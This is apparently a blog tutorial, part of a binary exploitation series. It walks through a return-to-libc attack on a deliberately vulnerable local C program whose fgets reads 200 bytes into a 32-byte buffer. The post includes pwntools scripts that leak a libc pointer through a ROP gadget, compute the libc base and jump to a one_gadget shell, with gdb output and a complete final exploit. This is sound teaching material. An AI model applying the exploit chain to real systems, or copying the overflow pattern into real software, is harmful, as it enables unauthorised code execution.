Binary Exploitation Series (4): Return to Libc

9 minute read

This time we will activate non-executable stack and we’re going to build our first mini ROP-Chain to leak memory addresses! Basic ASLR is of course still enabled (only Heap and Stack randomized). I will also introduce some more features of pwntools.

Target

The target is again a simple binary where we can spot the vulnerability after a few seconds. In the function check_username we declare a 32 byte buffer to store a username. After that, we prompt the user to input a name but the fgets call reads up to 200 bytes which could lead again to a buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//gcc -m64 -o chapter_4 chapter_4.c -no-pie -fno-stack-protector

void check_username() {
    char name[32];

    puts("Name?");
    fgets(name, 200, stdin);

    if(strcmp(name, "admin\n") == 0) {
        puts("Nope. Invalid username.");
    }
    else {
        puts("OK");
    }
}

int main(int argc, char **argv) {
    check_username();
    return 0;
}

Analysis

Since we know a little bit about pwntools, thanks to the last post, and we have the source code of the target, we can directly start writing our exploit. First import all pwntools functions and load the binary.

from pwn import *

r = process("./chapter_4")
context.binary = './chapter_4'

Then we will attach the debugger gdb again …

# attach gdb and continue
gdb.attach(r.pid, """c""")

… and we trigger the buffer overflow with a simple payload.

payload = "A"*50
r.sendline(payload)
r.interactive() # we don't want to close the application

Crashed, perfect!
Next, we try to find the offset to the return address on the stack. This can be done manually with static or dynamic analysis or we just use gdb and a really useful pwntools function. Let’s change the payload to payload = cyclic(50) and run it again. Crashed. Now we can compute the offset to the return address by taking a word (w) at the top of the stack (rsp) as an argument to pwntools’ cyclic_find function.

gef➤  x/wx $rsp
0x7ffecfec1e98:    0x6161616b

# ipython
In [1]: from pwn import *
In [2]: cyclic_find(0x6161616b)
Out[2]: 40

Ok, we have an offset of 40 to the return address of this function (32 byte buffer + 8 byte which is the saved base pointer).

Since we don’t have the possibility to execute our shellcode on the stack, we have to find another way. For now, we do the following steps to achieve code execution:

  • Leak libc pointers via GOT (Global Offset Table)
    • Leak pointer to puts
  • Identify libc library (optional, in this case not necessary)
    • Leak another pointer to fgets
    • Use leaked pointers of puts and fgets to find the correct libc
  • Compute libc’ base address
  • Find a suitable one-shot gadget to achieve code execution
  • Maybe find suitable gadgets to modify the registers for the one-shot gadget (in this case not necessary)
  • Redirect execution to the vulnerable function (otherwise the executable would exit)
  • Exploit the same vulnerability a second time and pop a shell!

First, we have to call the function puts with a GOT address as argument to read the pointer. We can also use pwntools to support us in our exploit development. Since we exploiting the program locally we can use ldd to obtain the used libc.

# Find the used libc (obviously our local libc since this is a local challenge)
ldd ./chapter_4
        linux-vdso.so.1 (0x00007fffe21a6000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f37310e9000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f37314da000)

Next, we load the libc in our python script for later use libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") and we use pwntools features to call puts with the correct address. Since puts uses one argument we have to set the rdi register (Read more about calling conventions).

# find a suitable gadget to set rdi
ROPgadget --binary chapter_4 | grep rdi
0x00000000004006b3 : pop rdi ; ret      <--------------------------
0x0000000000400594 : scasd eax, dword ptr [rdi] ; or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret

We use the gadget to set the rdi register and call puts. This will print the address of the GOT entry and we can convert the leaked binary string to an integer with pwntools (u64(), 8 byte unpack). Then we just have to subtract the offset of puts of our local libc to get the base address of the mapped libc in memory.

from pwn import *

def pad_null_bytes(value):
    return value + '\x00' * (8-len(value))

chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'

# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# attach gdb and continue
gdb.attach(r.pid, """c""")

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    "C"*50])

r.clean() # clean socket buffer (read all and print)
r.sendline(payload) # send payload
r.recvuntil("OK\n") # read until OK\n
puts_leak = u64(pad_null_bytes(r.readline())) # null byte padding + unpack to integer(8 byte)
log.info("Puts @ %s" % hex(puts_leak))

libc_base = puts_leak - libc.symbols["puts"] # compute libc base
log.info("libc base @ %s" % hex(libc_base))

r.interactive() # we don't want to close the application

Output of our script:

[+] Waiting for debugger: Done
[*] Puts @ 0x7f97bd13f9c0
[*] libc base @ 0x7f97bd0bf000      <----
[*] Switching to interactive mode

# Verify puts in gdb
p puts
$1 = {int (const char *)} 0x7f97bd13f9c0 <_IO_puts>   <----

# Verify libc base with vmmap
0x00007f97bd0bf000 0x00007f97bd2a6000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so   <----
0x00007f97bd2a6000 0x00007f97bd4a6000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4a6000 0x00007f97bd4aa000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007f97bd4aa000 0x00007f97bd4ac000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so

Perfect, the addresses are the same!
If we don’t know the libc version we have to leak other addresses like fgets and strcmp and use blukat.me to identify the correct version. When we found the correct one, we can download the libc from the website. Since we do everything locally, we can just skip this part.

Before we look for a one-shot gadget, we need a way to interact with the binary after receiving the leaked addresses because ASLR would randomize the addresses on every startup again. Therefore, we just redirect the execution flow to the beginning and just exploit the buffer overflow a second time.

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    p64(chapter_4_elf.symbols["main"]), # return to main
    "C"*50])

-->

Output:
[*] Puts @ 0x7f0fa54599c0
[*] libc base @ 0x7f0fa53d9000
[*] Switching to interactive mode
Name?
$  

Just copy the payload and send it again and we see the same crash as at the beginning!
Next, we have to identify a one-shot gadget. For that, we can use the program one_gadget with the identified libc.

one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Ok, we have some constraints…
If we take a look at the stack in gdb after the program crashed, we can see that the second gadget should work with its constraints, because we control the C’s (43).

x/gx $rsp+0x40
0x7ffcc4538c98:    0x4343434343434343

-> change "C"*50 to "\x00"*100 and start the script again

x/gx $rsp+0x40
0x7ffe6cdff488:    0x0000000000000000

Let’s try it..

payload2 = "".join(["A"*40,
    p64(libc_base + one_gadget), # pop a shell
    "\x00"*100])
gef➤  c
Continuing.
process 9645 is executing new program: /bin/dash

We got it!

[+] Waiting for debugger: Done
[*] Puts @ 0x7f88bec589c0
[*] libc base @ 0x7f88bebd8000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"s¾\x88\x7f
OK
$ ls
chapter_4  chapter_4.c    chapter_4_exploit.py

Final exploit:

from pwn import *

def pad_null_bytes(value):
    return value + '\x00' * (8-len(value))

chapter_4_elf = ELF("./chapter_4")
r = chapter_4_elf.process()
context.binary = './chapter_4'

# libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# attach gdb and continue
gdb.attach(r.pid, """c""")
"""
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c        execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""
one_gadget = 0x4f322

payload = "".join(["A"*40,
    p64(0x00000000004006b3), # pop rdi ; ret
    p64(chapter_4_elf.got["puts"]), # value for rdi
    p64(chapter_4_elf.symbols["puts"]), # return address
    p64(chapter_4_elf.symbols["main"]), # return to main
    "C"*50])

r.clean()
r.sendline(payload)
r.recvuntil("OK\n")
puts_leak = u64(pad_null_bytes(r.readline()[:-1])) # remove newline + null byte padding + unpack to integer (8 byte)
log.info("Puts @ %s" % hex(puts_leak))

libc_base = puts_leak - libc.symbols["puts"]
log.info("libc base @ %s" % hex(libc_base))

payload2 = "".join(["A"*40,
    p64(libc_base + one_gadget), # pop a shell
    "\x00"*100])

r.clean()
r.sendline(payload2)

r.interactive() # we don't want to close the application

Please be patient with yourself and learn slowly, so that you understand everything correctly.

Happy Hacking!

Leave a comment